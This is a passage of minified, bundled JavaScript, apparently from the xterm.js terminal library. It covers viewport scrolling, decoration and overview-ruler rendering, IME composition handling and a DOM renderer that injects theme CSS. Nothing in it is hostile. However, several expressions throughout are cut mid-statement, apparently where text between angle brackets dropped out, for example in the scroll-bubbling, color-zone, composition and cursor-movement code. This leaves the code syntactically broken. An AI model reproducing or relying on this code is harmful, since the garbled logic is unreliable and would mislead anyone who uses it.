e=s-this._lastRefreshMs,t=this._debounceThresholdMS-e;this._additionalRefreshRequested=!0,this._refreshTimeoutID=window.setTimeout((()=>{this._lastRefreshMs=Date.now(),this._innerRefresh(),this._additionalRefreshRequested=!1,this._refreshTimeoutID=void 0}),t)}}_innerRefresh(){if(void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return;const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t)}}},1680:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.Viewport=void 0;const n=i(3656),o=i(4725),a=i(8460),h=i(844),c=i(2585);let l=t.Viewport=class extends h.Disposable{constructor(e,t,i,s,r,o,h,c){super(),this._viewportElement=e,this._scrollArea=t,this._bufferService=i,this._optionsService=s,this._charSizeService=r,this._renderService=o,this._coreBrowserService=h,this.scrollBarWidth=0,this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._wheelPartialScroll=0,this._refreshAnimationFrame=null,this._ignoreNextScrollEvent=!1,this._smoothScrollState={startTime:0,origin:-1,target:-1},this._onRequestScrollLines=this.register(new a.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this.scrollBarWidth=this._viewportElement.offsetWidth-this._scrollArea.offsetWidth||15,this.register((0,n.addDisposableDomListener)(this._viewportElement,"scroll",this._handleScroll.bind(this))),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._renderDimensions=this._renderService.dimensions,this.register(this._renderService.onDimensionsChange((e=>this._renderDimensions=e))),this._handleThemeChange(c.colors),this.register(c.onChangeColors((e=>this._handleThemeChange(e)))),this.register(this._optionsService.onSpecificOptionChange("scrollback",(()=>this.syncScrollArea()))),setTimeout((()=>this.syncScrollArea()))}_handleThemeChange(e){this._viewportElement.style.backgroundColor=e.background.css}reset(){this._currentRowHeight=0,this._currentDeviceCellHeight=0,this._lastRecordedBufferLength=0,this._lastRecordedViewportHeight=0,this._lastRecordedBufferHeight=0,this._lastTouchY=0,this._lastScrollTop=0,this._coreBrowserService.window.requestAnimationFrame((()=>this.syncScrollArea()))}_refresh(e){if(e)return this._innerRefresh(),void(null!==this._refreshAnimationFrame&&this._coreBrowserService.window.cancelAnimationFrame(this._refreshAnimationFrame));null===this._refreshAnimationFrame&&(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._charSizeService.height>0){this._currentRowHeight=this._renderService.dimensions.device.cell.height/this._coreBrowserService.dpr,this._currentDeviceCellHeight=this._renderService.dimensions.device.cell.height,this._lastRecordedViewportHeight=this._viewportElement.offsetHeight;const e=Math.round(this._currentRowHeight*this._lastRecordedBufferLength)+(this._lastRecordedViewportHeight-this._renderService.dimensions.css.canvas.height);this._lastRecordedBufferHeight!==e&&(this._lastRecordedBufferHeight=e,this._scrollArea.style.height=this._lastRecordedBufferHeight+"px")}const e=this._bufferService.buffer.ydisp*this._currentRowHeight;this._viewportElement.scrollTop!==e&&(this._ignoreNextScrollEvent=!0,this._viewportElement.scrollTop=e),this._refreshAnimationFrame=null}syncScrollArea(e=!1){if(this._lastRecordedBufferLength!==this._bufferService.buffer.lines.length)return this._lastRecordedBufferLength=this._bufferService.buffer.lines.length,void this._refresh(e);this._lastRecordedViewportHeight===this._renderService.dimensions.css.canvas.height&&this._lastScrollTop===this._activeBuffer.ydisp*this._currentRowHeight&&this._renderDimensions.device.cell.height===this._currentDeviceCellHeight||this._refresh(e)}_handleScroll(e){if(this._lastScrollTop=this._viewportElement.scrollTop,!this._viewportElement.offsetParent)return;if(this._ignoreNextScrollEvent)return this._ignoreNextScrollEvent=!1,void this._onRequestScrollLines.fire({amount:0,suppressScrollEvent:!0});const t=Math.round(this._lastScrollTop/this._currentRowHeight)-this._bufferService.buffer.ydisp;this._onRequestScrollLines.fire({amount:t,suppressScrollEvent:!0})}_smoothScroll(){if(this._isDisposed||-1===this._smoothScrollState.origin||-1===this._smoothScrollState.target)return;const e=this._smoothScrollPercent();this._viewportElement.scrollTop=this._smoothScrollState.origin+Math.round(e*(this._smoothScrollState.target-this._smoothScrollState.origin)),e<1?this._coreBrowserService.window.requestAnimationFrame((()=>this._smoothScroll())):this._clearSmoothScrollState()}_smoothScrollPercent(){return this._optionsService.rawOptions.smoothScrollDuration&&this._smoothScrollState.startTime?Math.max(Math.min((Date.now()-this._smoothScrollState.startTime)/this._optionsService.rawOptions.smoothScrollDuration,1),0):1}_clearSmoothScrollState(){this._smoothScrollState.startTime=0,this._smoothScrollState.origin=-1,this._smoothScrollState.target=-1}_bubbleScroll(e,t){const i=this._viewportElement.scrollTop+this._lastRecordedViewportHeight;return!(t<0&&0!==this._viewportElement.scrollTop||t>0&&i0&&(s=e),r=""}}return{bufferElements:n,cursorElement:s}}getLinesScrolled(e){if(0===e.deltaY||e.shiftKey)return 0;let t=this._applyScrollModifier(e.deltaY,e);return e.deltaMode===WheelEvent.DOM_DELTA_PIXEL?(t/=this._currentRowHeight+0,this._wheelPartialScroll+=t,t=Math.floor(Math.abs(this._wheelPartialScroll))*(this._wheelPartialScroll>0?1:-1),this._wheelPartialScroll%=1):e.deltaMode===WheelEvent.DOM_DELTA_PAGE&&(t*=this._bufferService.rows),t}_applyScrollModifier(e,t){const i=this._optionsService.rawOptions.fastScrollModifier;return"alt"===i&&t.altKey||"ctrl"===i&&t.ctrlKey||"shift"===i&&t.shiftKey?e*this._optionsService.rawOptions.fastScrollSensitivity*this._optionsService.rawOptions.scrollSensitivity:e*this._optionsService.rawOptions.scrollSensitivity}handleTouchStart(e){this._lastTouchY=e.touches[0].pageY}handleTouchMove(e){const t=this._lastTouchY-e.touches[0].pageY;return this._lastTouchY=e.touches[0].pageY,0!==t&&(this._viewportElement.scrollTop+=t,this._bubbleScroll(e,t))}};t.Viewport=l=s([r(2,c.IBufferService),r(3,c.IOptionsService),r(4,o.ICharSizeService),r(5,o.IRenderService),r(6,o.ICoreBrowserService),r(7,o.IThemeService)],l)},3107:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.BufferDecorationRenderer=void 0;const n=i(3656),o=i(4725),a=i(844),h=i(2585);let c=t.BufferDecorationRenderer=class extends a.Disposable{constructor(e,t,i,s){super(),this._screenElement=e,this._bufferService=t,this._decorationService=i,this._renderService=s,this._decorationElements=new Map,this._altBufferIsActive=!1,this._dimensionsChanged=!1,this._container=document.createElement("div"),this._container.classList.add("xterm-decoration-container"),this._screenElement.appendChild(this._container),this.register(this._renderService.onRenderedViewportChange((()=>this._doRefreshDecorations()))),this.register(this._renderService.onDimensionsChange((()=>{this._dimensionsChanged=!0,this._queueRefresh()}))),this.register((0,n.addDisposableDomListener)(window,"resize",(()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._altBufferIsActive=this._bufferService.buffer===this._bufferService.buffers.alt}))),this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh()))),this.register(this._decorationService.onDecorationRemoved((e=>this._removeDecoration(e)))),this.register((0,a.toDisposable)((()=>{this._container.remove(),this._decorationElements.clear()})))}_queueRefresh(){void 0===this._animationFrame&&(this._animationFrame=this._renderService.addRefreshCallback((()=>{this._doRefreshDecorations(),this._animationFrame=void 0})))}_doRefreshDecorations(){for(const e of this._decorationService.decorations)this._renderDecoration(e);this._dimensionsChanged=!1}_renderDecoration(e){this._refreshStyle(e),this._dimensionsChanged&&this._refreshXPosition(e)}_createElement(e){var t,i;const s=document.createElement("div");s.classList.add("xterm-decoration"),s.classList.toggle("xterm-decoration-top-layer","top"===(null===(t=null==e?void 0:e.options)||void 0===t?void 0:t.layer)),s.style.width=`${Math.round((e.options.width||1)*this._renderService.dimensions.css.cell.width)}px`,s.style.height=(e.options.height||1)*this._renderService.dimensions.css.cell.height+"px",s.style.top=(e.marker.line-this._bufferService.buffers.active.ydisp)*this._renderService.dimensions.css.cell.height+"px",s.style.lineHeight=`${this._renderService.dimensions.css.cell.height}px`;const r=null!==(i=e.options.x)&&void 0!==i?i:0;return r&&r>this._bufferService.cols&&(s.style.display="none"),this._refreshXPosition(e,s),s}_refreshStyle(e){const t=e.marker.line-this._bufferService.buffers.active.ydisp;if(t<0||t>=this._bufferService.rows)e.element&&(e.element.style.display="none",e.onRenderEmitter.fire(e.element));else{let i=this._decorationElements.get(e);i||(i=this._createElement(e),e.element=i,this._decorationElements.set(e,i),this._container.appendChild(i),e.onDispose((()=>{this._decorationElements.delete(e),i.remove()}))),i.style.top=t*this._renderService.dimensions.css.cell.height+"px",i.style.display=this._altBufferIsActive?"none":"block",e.onRenderEmitter.fire(i)}}_refreshXPosition(e,t=e.element){var i;if(!t)return;const s=null!==(i=e.options.x)&&void 0!==i?i:0;"right"===(e.options.anchor||"left")?t.style.right=s?s*this._renderService.dimensions.css.cell.width+"px":"":t.style.left=s?s*this._renderService.dimensions.css.cell.width+"px":""}_removeDecoration(e){var t;null===(t=this._decorationElements.get(e))||void 0===t||t.remove(),this._decorationElements.delete(e),e.dispose()}};t.BufferDecorationRenderer=c=s([r(1,h.IBufferService),r(2,h.IDecorationService),r(3,o.IRenderService)],c)},5871:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ColorZoneStore=void 0,t.ColorZoneStore=class{constructor(){this._zones=[],this._zonePool=[],this._zonePoolIndex=0,this._linePadding={full:0,left:0,center:0,right:0}}get zones(){return this._zonePool.length=Math.min(this._zonePool.length,this._zones.length),this._zones}clear(){this._zones.length=0,this._zonePoolIndex=0}addDecoration(e){if(e.options.overviewRulerOptions){for(const t of this._zones)if(t.color===e.options.overviewRulerOptions.color&&t.position===e.options.overviewRulerOptions.position){if(this._lineIntersectsZone(t,e.marker.line))return;if(this._lineAdjacentToZone(t,e.marker.line,e.options.overviewRulerOptions.position))return void this._addLineToZone(t,e.marker.line)}if(this._zonePoolIndex=e.startBufferLine&&t<=e.endBufferLine}_lineAdjacentToZone(e,t,i){return t>=e.startBufferLine-this._linePadding[i||"full"]&&t<=e.endBufferLine+this._linePadding[i||"full"]}_addLineToZone(e,t){e.startBufferLine=Math.min(e.startBufferLine,t),e.endBufferLine=Math.max(e.endBufferLine,t)}}},5744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OverviewRulerRenderer=void 0;const n=i(5871),o=i(3656),a=i(4725),h=i(844),c=i(2585),l={full:0,left:0,center:0,right:0},d={full:0,left:0,center:0,right:0},_={full:0,left:0,center:0,right:0};let u=t.OverviewRulerRenderer=class extends h.Disposable{get _width(){return this._optionsService.options.overviewRulerWidth||0}constructor(e,t,i,s,r,o,a){var c;super(),this._viewportElement=e,this._screenElement=t,this._bufferService=i,this._decorationService=s,this._renderService=r,this._optionsService=o,this._coreBrowseService=a,this._colorZoneStore=new n.ColorZoneStore,this._shouldUpdateDimensions=!0,this._shouldUpdateAnchor=!0,this._lastKnownBufferLength=0,this._canvas=document.createElement("canvas"),this._canvas.classList.add("xterm-decoration-overview-ruler"),this._refreshCanvasDimensions(),null===(c=this._viewportElement.parentElement)||void 0===c||c.insertBefore(this._canvas,this._viewportElement);const l=this._canvas.getContext("2d");if(!l)throw new Error("Ctx cannot be null");this._ctx=l,this._registerDecorationListeners(),this._registerBufferChangeListeners(),this._registerDimensionChangeListeners(),this.register((0,h.toDisposable)((()=>{var e;null===(e=this._canvas)||void 0===e||e.remove()})))}_registerDecorationListeners(){this.register(this._decorationService.onDecorationRegistered((()=>this._queueRefresh(void 0,!0)))),this.register(this._decorationService.onDecorationRemoved((()=>this._queueRefresh(void 0,!0))))}_registerBufferChangeListeners(){this.register(this._renderService.onRenderedViewportChange((()=>this._queueRefresh()))),this.register(this._bufferService.buffers.onBufferActivate((()=>{this._canvas.style.display=this._bufferService.buffer===this._bufferService.buffers.alt?"none":"block"}))),this.register(this._bufferService.onScroll((()=>{this._lastKnownBufferLength!==this._bufferService.buffers.normal.lines.length&&(this._refreshDrawHeightConstants(),this._refreshColorZonePadding())})))}_registerDimensionChangeListeners(){this.register(this._renderService.onRender((()=>{this._containerHeight&&this._containerHeight===this._screenElement.clientHeight||(this._queueRefresh(!0),this._containerHeight=this._screenElement.clientHeight)}))),this.register(this._optionsService.onSpecificOptionChange("overviewRulerWidth",(()=>this._queueRefresh(!0)))),this.register((0,o.addDisposableDomListener)(this._coreBrowseService.window,"resize",(()=>this._queueRefresh(!0)))),this._queueRefresh(!0)}_refreshDrawConstants(){const e=Math.floor(this._canvas.width/3),t=Math.ceil(this._canvas.width/3);d.full=this._canvas.width,d.left=e,d.center=t,d.right=e,this._refreshDrawHeightConstants(),_.full=0,_.left=0,_.center=d.left,_.right=d.left+d.center}_refreshDrawHeightConstants(){l.full=Math.round(2*this._coreBrowseService.dpr);const e=this._canvas.height/this._bufferService.buffer.lines.length,t=Math.round(Math.max(Math.min(e,12),6)*this._coreBrowseService.dpr);l.left=t,l.center=t,l.right=t}_refreshColorZonePadding(){this._colorZoneStore.setPadding({full:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.full),left:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.left),center:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.center),right:Math.floor(this._bufferService.buffers.active.lines.length/(this._canvas.height-1)*l.right)}),this._lastKnownBufferLength=this._bufferService.buffers.normal.lines.length}_refreshCanvasDimensions(){this._canvas.style.width=`${this._width}px`,this._canvas.width=Math.round(this._width*this._coreBrowseService.dpr),this._canvas.style.height=`${this._screenElement.clientHeight}px`,this._canvas.height=Math.round(this._screenElement.clientHeight*this._coreBrowseService.dpr),this._refreshDrawConstants(),this._refreshColorZonePadding()}_refreshDecorations(){this._shouldUpdateDimensions&&this._refreshCanvasDimensions(),this._ctx.clearRect(0,0,this._canvas.width,this._canvas.height),this._colorZoneStore.clear();for(const e of this._decorationService.decorations)this._colorZoneStore.addDecoration(e);this._ctx.lineWidth=1;const e=this._colorZoneStore.zones;for(const t of e)"full"!==t.position&&this._renderColorZone(t);for(const t of e)"full"===t.position&&this._renderColorZone(t);this._shouldUpdateDimensions=!1,this._shouldUpdateAnchor=!1}_renderColorZone(e){this._ctx.fillStyle=e.color,this._ctx.fillRect(_[e.position||"full"],Math.round((this._canvas.height-1)*(e.startBufferLine/this._bufferService.buffers.active.lines.length)-l[e.position||"full"]/2),d[e.position||"full"],Math.round((this._canvas.height-1)*((e.endBufferLine-e.startBufferLine)/this._bufferService.buffers.active.lines.length)+l[e.position||"full"]))}_queueRefresh(e,t){this._shouldUpdateDimensions=e||this._shouldUpdateDimensions,this._shouldUpdateAnchor=t||this._shouldUpdateAnchor,void 0===this._animationFrame&&(this._animationFrame=this._coreBrowseService.window.requestAnimationFrame((()=>{this._refreshDecorations(),this._animationFrame=void 0})))}};t.OverviewRulerRenderer=u=s([r(2,c.IBufferService),r(3,c.IDecorationService),r(4,a.IRenderService),r(5,c.IOptionsService),r(6,a.ICoreBrowserService)],u)},2950:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CompositionHelper=void 0;const n=i(4725),o=i(2585),a=i(2584);let h=t.CompositionHelper=class{get isComposing(){return this._isComposing}constructor(e,t,i,s,r,n){this._textarea=e,this._compositionView=t,this._bufferService=i,this._optionsService=s,this._coreService=r,this._renderService=n,this._isComposing=!1,this._isSendingComposition=!1,this._compositionPosition={start:0,end:0},this._dataAlreadySent=""}compositionstart(){this._isComposing=!0,this._compositionPosition.start=this._textarea.value.length,this._compositionView.textContent="",this._dataAlreadySent="",this._compositionView.classList.add("active")}compositionupdate(e){this._compositionView.textContent=e.data,this.updateCompositionElements(),setTimeout((()=>{this._compositionPosition.end=this._textarea.value.length}),0)}compositionend(){this._finalizeComposition(!0)}keydown(e){if(this._isComposing||this._isSendingComposition){if(229===e.keyCode)return!1;if(16===e.keyCode||17===e.keyCode||18===e.keyCode)return!1;this._finalizeComposition(!1)}return 229!==e.keyCode||(this._handleAnyTextareaChanges(),!1)}_finalizeComposition(e){if(this._compositionView.classList.remove("active"),this._isComposing=!1,e){const e={start:this._compositionPosition.start,end:this._compositionPosition.end};this._isSendingComposition=!0,setTimeout((()=>{if(this._isSendingComposition){let t;this._isSendingComposition=!1,e.start+=this._dataAlreadySent.length,t=this._isComposing?this._textarea.value.substring(e.start,e.end):this._textarea.value.substring(e.start),t.length>0&&this._coreService.triggerDataEvent(t,!0)}}),0)}else{this._isSendingComposition=!1;const e=this._textarea.value.substring(this._compositionPosition.start,this._compositionPosition.end);this._coreService.triggerDataEvent(e,!0)}}_handleAnyTextareaChanges(){const e=this._textarea.value;setTimeout((()=>{if(!this._isComposing){const t=this._textarea.value,i=t.replace(e,"");this._dataAlreadySent=i,t.length>e.length?this._coreService.triggerDataEvent(i,!0):t.lengththis.updateCompositionElements(!0)),0)}}};t.CompositionHelper=h=s([r(2,o.IBufferService),r(3,o.IOptionsService),r(4,o.ICoreService),r(5,n.IRenderService)],h)},9806:(e,t)=>{function i(e,t,i){const s=i.getBoundingClientRect(),r=e.getComputedStyle(i),n=parseInt(r.getPropertyValue("padding-left")),o=parseInt(r.getPropertyValue("padding-top"));return[t.clientX-s.left-n,t.clientY-s.top-o]}Object.defineProperty(t,"__esModule",{value:!0}),t.getCoords=t.getCoordsRelativeToElement=void 0,t.getCoordsRelativeToElement=i,t.getCoords=function(e,t,s,r,n,o,a,h,c){if(!o)return;const l=i(e,t,s);return l?(l[0]=Math.ceil((l[0]+(c?a/2:0))/a),l[1]=Math.ceil(l[1]/h),l[0]=Math.min(Math.max(l[0],1),r+(c?1:0)),l[1]=Math.min(Math.max(l[1],1),n),l):void 0}},9504:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.moveToCellSequence=void 0;const s=i(2584);function r(e,t,i,s){const r=e-n(e,i),a=t-n(t,i),l=Math.abs(r-a)-function(e,t,i){let s=0;const r=e-n(e,i),a=t-n(t,i);for(let n=0;n=0&&et?"A":"B"}function a(e,t,i,s,r,n){let o=e,a=t,h="";for(;o!==i||a!==s;)o+=r?1:-1,r&&o>n.cols-1?(h+=n.buffer.translateBufferLineToString(a,!1,e,o),o=0,e=0,a++):!r&&o<0&&(h+=n.buffer.translateBufferLineToString(a,!1,0,e+1),o=n.cols-1,e=o,a--);return h+n.buffer.translateBufferLineToString(a,!1,e,o)}function h(e,t){const i=t?"O":"[";return s.C0.ESC+i+e}function c(e,t){e=Math.floor(e);let i="";for(let s=0;s0?s-n(s,o):t;const _=s,u=function(e,t,i,s,o,a){let h;return h=r(i,s,o,a).length>0?s-n(s,o):t,e=i&&he?"D":"C",c(Math.abs(o-e),h(d,s));d=l>t?"D":"C";const _=Math.abs(l-t);return c(function(e,t){return t.cols-e}(l>t?e:o,i)+(_-1)*i.cols+1+((l>t?o:e)-1),h(d,s))}},1296:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.DomRenderer=void 0;const n=i(3787),o=i(2550),a=i(2223),h=i(6171),c=i(4725),l=i(8055),d=i(8460),_=i(844),u=i(2585),f="xterm-dom-renderer-owner-",v="xterm-rows",p="xterm-fg-",g="xterm-bg-",m="xterm-focus",S="xterm-selection";let C=1,b=t.DomRenderer=class extends _.Disposable{constructor(e,t,i,s,r,a,c,l,u,p){super(),this._element=e,this._screenElement=t,this._viewportElement=i,this._linkifier2=s,this._charSizeService=a,this._optionsService=c,this._bufferService=l,this._coreBrowserService=u,this._themeService=p,this._terminalClass=C++,this._rowElements=[],this.onRequestRedraw=this.register(new d.EventEmitter).event,this._rowContainer=document.createElement("div"),this._rowContainer.classList.add(v),this._rowContainer.style.lineHeight="normal",this._rowContainer.setAttribute("aria-hidden","true"),this._refreshRowElements(this._bufferService.cols,this._bufferService.rows),this._selectionContainer=document.createElement("div"),this._selectionContainer.classList.add(S),this._selectionContainer.setAttribute("aria-hidden","true"),this.dimensions=(0,h.createRenderDimensions)(),this._updateDimensions(),this.register(this._optionsService.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._themeService.onChangeColors((e=>this._injectCss(e)))),this._injectCss(this._themeService.colors),this._rowFactory=r.createInstance(n.DomRendererRowFactory,document),this._element.classList.add(f+this._terminalClass),this._screenElement.appendChild(this._rowContainer),this._screenElement.appendChild(this._selectionContainer),this.register(this._linkifier2.onShowLinkUnderline((e=>this._handleLinkHover(e)))),this.register(this._linkifier2.onHideLinkUnderline((e=>this._handleLinkLeave(e)))),this.register((0,_.toDisposable)((()=>{this._element.classList.remove(f+this._terminalClass),this._rowContainer.remove(),this._selectionContainer.remove(),this._widthCache.dispose(),this._themeStyleElement.remove(),this._dimensionsStyleElement.remove()}))),this._widthCache=new o.WidthCache(document),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}_updateDimensions(){const e=this._coreBrowserService.dpr;this.dimensions.device.char.width=this._charSizeService.width*e,this.dimensions.device.char.height=Math.ceil(this._charSizeService.height*e),this.dimensions.device.cell.width=this.dimensions.device.char.width+Math.round(this._optionsService.rawOptions.letterSpacing),this.dimensions.device.cell.height=Math.floor(this.dimensions.device.char.height*this._optionsService.rawOptions.lineHeight),this.dimensions.device.char.left=0,this.dimensions.device.char.top=0,this.dimensions.device.canvas.width=this.dimensions.device.cell.width*this._bufferService.cols,this.dimensions.device.canvas.height=this.dimensions.device.cell.height*this._bufferService.rows,this.dimensions.css.canvas.width=Math.round(this.dimensions.device.canvas.width/e),this.dimensions.css.canvas.height=Math.round(this.dimensions.device.canvas.height/e),this.dimensions.css.cell.width=this.dimensions.css.canvas.width/this._bufferService.cols,this.dimensions.css.cell.height=this.dimensions.css.canvas.height/this._bufferService.rows;for(const e of this._rowElements)e.style.width=`${this.dimensions.css.canvas.width}px`,e.style.height=`${this.dimensions.css.cell.height}px`,e.style.lineHeight=`${this.dimensions.css.cell.height}px`,e.style.overflow="hidden";this._dimensionsStyleElement||(this._dimensionsStyleElement=document.createElement("style"),this._screenElement.appendChild(this._dimensionsStyleElement));const t=`${this._terminalSelector} .${v} span { display: inline-block; height: 100%; vertical-align: top;}`;this._dimensionsStyleElement.textContent=t,this._selectionContainer.style.height=this._viewportElement.style.height,this._screenElement.style.width=`${this.dimensions.css.canvas.width}px`,this._screenElement.style.height=`${this.dimensions.css.canvas.height}px`}_injectCss(e){this._themeStyleElement||(this._themeStyleElement=document.createElement("style"),this._screenElement.appendChild(this._themeStyleElement));let t=`${this._terminalSelector} .${v} { color: ${e.foreground.css}; font-family: ${this._optionsService.rawOptions.fontFamily}; font-size: ${this._optionsService.rawOptions.fontSize}px; font-kerning: none; white-space: pre}`;t+=`${this._terminalSelector} .${v} .xterm-dim { color: ${l.color.multiplyOpacity(e.foreground,.5).css};}`,t+=`${this._terminalSelector} span:not(.xterm-bold) { font-weight: ${this._optionsService.rawOptions.fontWeight};}${this._terminalSelector} span.xterm-bold { font-weight: ${this._optionsService.rawOptions.fontWeightBold};}${this._terminalSelector} span.xterm-italic { font-style: italic;}`,t+="@keyframes blink_box_shadow_"+this._terminalClass+" { 50% { border-bottom-style: hidden; }}",t+="@keyframes blink_block_"+this._terminalClass+" { 0% {"+` background-color: ${e.cursor.css};`+` color: ${e.cursorAccent.css}; } 50% { background-color: inherit;`+` color: ${e.cursor.css}; }}`,t+=`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink:not(.xterm-cursor-block) { animation: blink_box_shadow_`+this._terminalClass+" 1s step-end infinite;}"+`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink.xterm-cursor-block { animation: blink_block_`+this._terminalClass+" 1s step-end infinite;}"+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-block {`+` background-color: ${e.cursor.css};`+` color: ${e.cursorAccent.css};}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-outline {`+` outline: 1px solid ${e.cursor.css}; outline-offset: -1px;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-bar {`+` box-shadow: ${this._optionsService.rawOptions.cursorWidth}px 0 0 ${e.cursor.css} inset;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-underline {`+` border-bottom: 1px ${e.cursor.css}; border-bottom-style: solid; height: calc(100% - 1px);}`,t+=`${this._terminalSelector} .${S} { position: absolute; top: 0; left: 0; z-index: 1; pointer-events: none;}${this._terminalSelector}.focus .${S} div { position: absolute; background-color: ${e.selectionBackgroundOpaque.css};}${this._terminalSelector} .${S} div { position: absolute; background-color: ${e.selectionInactiveBackgroundOpaque.css};}`;for(const[i,s]of e.ansi.entries())t+=`${this._terminalSelector} .${p}${i} { color: ${s.css}; }${this._terminalSelector} .${p}${i}.xterm-dim { color: ${l.color.multiplyOpacity(s,.5).css}; }${this._terminalSelector} .${g}${i} { background-color: ${s.css}; }`;t+=`${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR} { color: ${l.color.opaque(e.background).css}; }${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR}.xterm-dim { color: ${l.color.multiplyOpacity(l.color.opaque(e.background),.5).css}; }${this._terminalSelector} .${g}${a.INVERTED_DEFAULT_COLOR} { background-color: ${e.foreground.css}; }`,this._themeStyleElement.textContent=t}_setDefaultSpacing(){const e=this.dimensions.css.cell.width-this._widthCache.get("W",!1,!1);this._rowContainer.style.letterSpacing=`${e}px`,this._rowFactory.defaultSpacing=e}handleDevicePixelRatioChange(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}_refreshRowElements(e,t){for(let e=this._rowElements.length;e<=t;e++){const e=document.createElement("div");this._rowContainer.appendChild(e),this._rowElements.push(e)}for(;this._rowElements.length>t;)this._rowContainer.removeChild(this._rowElements.pop())}handleResize(e,t){this._refreshRowElements(e,t),this._updateDimensions()}handleCharSizeChanged(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}handleBlur(){this._rowContainer.classList.remove(m)}handleFocus(){this._rowContainer.classList.add(m),this.renderRows(this._bufferService.buffer.y,this._bufferService.buffer.y)}handleSelectionChanged(e,t,i){if(this._selectionContainer.replaceChildren(),this._rowFactory.handleSelectionChanged(e,t,i),this.renderRows(0,this._bufferService.rows-1),!e||!t)return;const s=e[1]-this._bufferService.buffer.ydisp,r=t[1]-this._bufferService.buffer.ydisp,n=Math.max(s,0),o=Math.min(r,this._bufferService.rows-1);if(n>=this._bufferService.rows||o<0)return;const a=document.createDocumentFragment();if(i){const i=e[0]>t[0];a.appendChild(this._createSelectionElement(n,i?t[0]:e[0],i?e[0]:t[0],o-n+1))}else{const i=s===n?e[0]:0,h=n===r?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(n,i,h));const c=o-n-1;if(a.appendChild(this._createSelectionElement(n+1,0,this._bufferService.cols,c)),n!==o){const e=r===o?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(o,0,e))}}this._selectionContainer.appendChild(a)}_createSelectionElement(e,t,i,s=1){const r=document.createElement("div");return 